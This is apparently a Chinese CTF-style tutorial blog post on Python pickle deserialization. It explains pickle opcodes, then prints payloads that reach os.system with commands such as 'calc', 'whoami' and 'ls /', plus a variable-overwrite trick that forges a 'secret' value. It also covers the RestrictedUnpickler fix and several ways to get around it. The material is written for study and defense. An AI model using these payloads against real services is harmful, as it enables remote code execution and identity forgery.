目录

  1. 1. 前言
  2. 2. Pickle基础
    1. 2.1. 能够序列化的对象
    2. 2.2. 常见方法及接口
    3. 2.3. 工作原理
    4. 2.4. 常用的opcode
    5. 2.5. pickletools
  3. 3. 反序列化
  4. 4. 漏洞利用
    1. 4.1. 命令执行
      1. 4.1.1. R
      2. 4.1.2. i
      3. 4.1.3. o
    2. 4.2. 实例化对象
    3. 4.3. 变量覆盖
  5. 5. 生成序列化的opcode
    1. 5.1. 重写__reduce__方法生成
    2. 5.2. Pker工具
      1. 5.2.1. 作用
      2. 5.2.2. 使用方法
  6. 6. 修复
  7. 7. 绕过RestrictedUnpickler限制
    1. 7.1. 绕过builtins
      1. 7.1.1. code-breaking 2018 picklecode
    2. 7.2. 绕过R指令
      1. 7.2.1. i指令
      2. 7.2.2. o指令
      3. 7.2.3. b指令(__setstate__)
    3. 7.3. 绕过关键字过滤
      1. 7.3.1. 利用V指令进行Unicode绕过
      2. 7.3.2. 十六进制绕过
      3. 7.3.3. 利用内置函数获取关键字
      4. 7.3.4. 拼接绕过

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

pickle反序列化

2023/9/2 Web 反序列化 python
  |     |   总文章阅读量:

前言

主要参考枫的博客


Pickle基础

pickle是Python中一个能够序列化和反序列化对象的模块

和java反序列化相似

在Python中,Pickling 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 unpickling 是相反的操作,会将字节流转化回一个对象层次结构

pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

demo:

import pickle

class Person():
    def __init__(self):
        self.age = 19
        self.name = "C1oudfL0w0"

p = Person()
opcode = pickle.dumps(p)
print(opcode)
P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)

执行得到

image-20230915221256156

很明显,我们通过pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式

然后使用pickle.loads()将一串二进制字节流反序列化为一个Person对象

能够序列化的对象

官方文档

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)

常见方法及接口

pickle.dump(obj, file, protocol=None, *, fix_imports=True)
pickle.dumps(obj, protocol=None, *, fix_imports=True)

将打包好的对象 obj 写入文件中

obj 打包以后的对象作为bytes类型直接返回

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")
pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

从 文件/data 中读取二进制字节流,将其反序列化为一个对象并返回

object.__reduce__()

__reduce__()其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行

Python要求这个方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...


工作原理

我们上文提到了,pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。(对,就是webpwn)

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到.这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回
  • stack:由 Python 的 list实现,被用来临时存储数据、参数以及对象
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储

image-20230915234658129

常用的opcode

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

demo:

import pickle

opcode=b'''cos
system
(S'calc'
tR.'''
pickle.loads(opcode)

image-20230915235438731

可以看到这段代码也能弹计算器,效果和第一个demo是一样的,不同的是一个是reduce魔术方法触发,一个是我们自己写opcode来触发,pickle.loads对应的是R阶段,也就是弹出的阶段

具体分析:

cos
system   #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack
(S'calc'   #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'calc'并将其压入stack
tR.      #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('calc')
#字节码为.,程序结束,将栈顶元素os.system('calc')作为返回值

pickletools

我们可以使用pickletools模块,将opcode转化成方便我们阅读的形式

import pickletools
 
opcode=b'''cos
system
(S'calc'
tR.'''
pickletools.dis(opcode)

image-20230916002059010


反序列化

和java反序列化一样,pickle的不安全因素在于反序列化未知的二进制字节流,也就是说通过构造字节流就能实现命令执行

demo:

import pickle
import os
 
class Person():
    def __init__(self):
        self.age=19
        self.name="C1oudfL0w0"
    def __reduce__(self):
        command=r"calc"
        return (os.system,(command,))
 
p=Person()
opcode=pickle.dumps(p)
print(opcode)
 
P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

我在Person类中加入了__reduce__函数,该函数能够定义该类的二进制字节流被反序列化时进行的操作。

返回值是一个(callable, ([para1,para2...])[,...])类型的元组。

当字节流被反序列化时,Python就会执行callable(para1,para2...)函数。

因此当上述的Person对象被unpickling时,就会执行os.system(command)

image-20230915222708782


漏洞利用

命令执行

上文我们已经提到了,我们可以通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式了

在opcode中,.是程序结束的标志。我们可以通过去掉.来将两个字节流拼接起来

import pickle
 
opcode=b'''cos
system
(S'calc'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

image-20230916002359995

不过,在pickle中,和函数执行的字节码有三个:Rio,所以我们可以从三个方向构造payload

R

opcode1=b'''cos
system
(S'calc'
tR.'''

i

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

opcode2=b'''(S'calc'
ios
system
.'''

o

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

opcode3=b'''(cos
system
S'calc'
o.'''

注:部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

并且pickle.loads会解决import 问题,对于未引入的module会自动尝试import。也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。


实例化对象

实例化对象也是一种特殊的函数执行,我们同样可以通过手写opcode来构造

import pickle
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name

opcode=b'''c__main__
Person
(I19
S'C1oudfL0w0'
tR.'''
 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)

image-20230916002811406

以上opcode相当于手动执行了构造函数Person(19,'C1oudfL0w0')


变量覆盖

在session或token中,由于需要存储一些用户信息,所以我们常常能够看见pickle的身影

程序会将用户的各种信息序列化并存储在session或token中,以此来验证用户的身份

假如session或token是以明文的方式进行存储的,我们就有可能通过变量覆盖的方式进行身份伪造

secret.py

secret="This is a key"
import pickle
import secret
 
print("secret变量的值为:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'ciallo'
db.'''
fake=pickle.loads(opcode)
 
print("secret变量的值为:"+fake.secret)

image-20230916085943667

我们首先通过c来获取__main__.secret模块,然后将字符串secretciallo压入栈中,然后通过字节码d将两个字符串组合成字典{'secret':'ciallo'}的形式。

由于在pickle中,反序列化后的数据会以key-value的形式存储,所以secret模块中的变量secret="This is a key",是以{'secret':'This is a key'}形式存储的。

最后再通过字节码b来执行__dict__.update(),即{'secret':'This is a key'}.update({'secret':'ciallo'}),因此最终secret变量的值被覆盖成了ciallo


生成序列化的opcode

先确定自己想要执行一个什么样的命令,再根据这个命令进行构造

注意:pickle 语法里没有对对象的 . 操作,如果想要读取文件对象,如f.read(),需要使用 getattr 获取 read:getattr(f,'read')()

重写__reduce__方法生成

import pickle  
  
class opcode(object):  
    def __reduce__(self):  
        return eval,("__import__(os).system('ls /')",)  
  
a=opcode()  
print(pickle.dumps(a))  

Pker工具

一个以遍历Python AST的形式来自动化解析pickle opcode的工具

github仓库

作用

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

使用方法

pker最主要的有三个函数GLOBAL()INST()OBJ()

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls')         =>  (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls')  =>  (cos\nsystem\nS'ls'\no

return可以返回一个对象

return           =>  .
return var       =>  g_\n.
return 1         =>  I1\n.

也可以与python的正常语法结合起来

#pker_test.py
 
i = 0
s = 'calc'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return

在命令行运行

python3 pker.py < pker_tests.py

image-20230919204720624

自动解析并生成了我们所需的opcode

运行一手,成功弹出计算器

image-20230919204928911

更多的使用方法可以参考官方repo


修复

对于pickle反序列化漏洞,官方的第一个建议就是永远不要unpickle来自于不受信任的或者未经验证的来源的数据。

第二个就是通过重写Unpickler.find_class()来限制全局变量

demo:

import builtins
import io
import pickle
 
safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}
 
class RestrictedUnpickler(pickle.Unpickler):
 
    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)
 
 
###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

以上例子通过重写Unpickler.find_class()方法,限制调用模块只能为builtins,且函数必须在白名单内,否则抛出异常。

这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle时的安全性。


绕过RestrictedUnpickler限制

想要绕过find_class,我们则需要了解其何时被调用。在官方文档中描述如下:

出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同,Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。

在opcode中,ci\x93这三个字节码与全局对象有关,当出现这三个字节码时会调用find_class,当我们使用这三个字节码时不违反其限制即可。

绕过builtins

在上面的官方修法中出现了module=="builtins"这一限制,只允许我们导入builtins这一模块

if module == "builtins" and name in safe_builtins:
    return getattr(builtins, name)

builtins模块我们在python特性的时候已经说过了

我们可以查看该模块中包含的所有模块函数

for i in sys.modules['builtins'].__dict__:print(i)

大致如下:

image-20230919205909698

假如内置函数中一些执行命令的函数也被禁用了,而我们仍想命令执行,那么漏洞的利用思路就类似于pyjail

code-breaking 2018 picklecode

以上方法能够绕过对module和一些危险函数的限制,本质上仍然是对__reduce__函数的延伸。


绕过R指令

和函数执行有关的字节码有Rio,如果没有R指令,我们同样能够进行函数执行

demo:

import pickle
import Person
 
 
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category
 
 
    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category
def check(data):
    if b'R' in data:
        return 'no reduce!'
    x=pickle.loads(data)
    if(x!= Animal(Person.name,Person.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(Person.name,Person.age))
# Person.py
name="Who"
age=114

这里禁用了R指令,但是我们仍有方法初始化一个Animal对象

上文提到过,使用R指令实例化对象的过程,实际上就是调用构造函数的过程,本质上也是函数执行

i指令

相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

opcode=b'''(S'Who'
I114
i__main__
Animal
.'''

image-20231015012242199

o指令

寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

opcode=b'''(c__main__
Animal
S'Who'
I114
o.'''

假如这里我们不知道Person模块的内容,我们可以通过变量覆盖的方式将原有Person中的变量覆盖掉

opcode=b'''c__main__
Person
(S'name'
S'Hacker'
S'age'
I514
db(c__main__
Animal
S'Hacker'
I514
o.'''

image-20231015012605607

b指令(__setstate__)


绕过关键字过滤

利用V指令进行Unicode绕过

v指令能够实例化一个unicode字符串对象

(S'secret'
# 上下等价
(Vsecr\u0065t

十六进制绕过

操作码s能够识别十六进制字符串

(S'\x73ecret'

利用内置函数获取关键字

类似ssti和无参rce

对于已导入的模块,我们可以通过sys.modules['xxx']来获取该模块,然后通过内置函数dir()来列出模块中的所有属性

注:pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串

在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象,next()函数获取迭代对象的下一个元素

拼接绕过

这个方法本质上就是pyjail

image-20231126110528861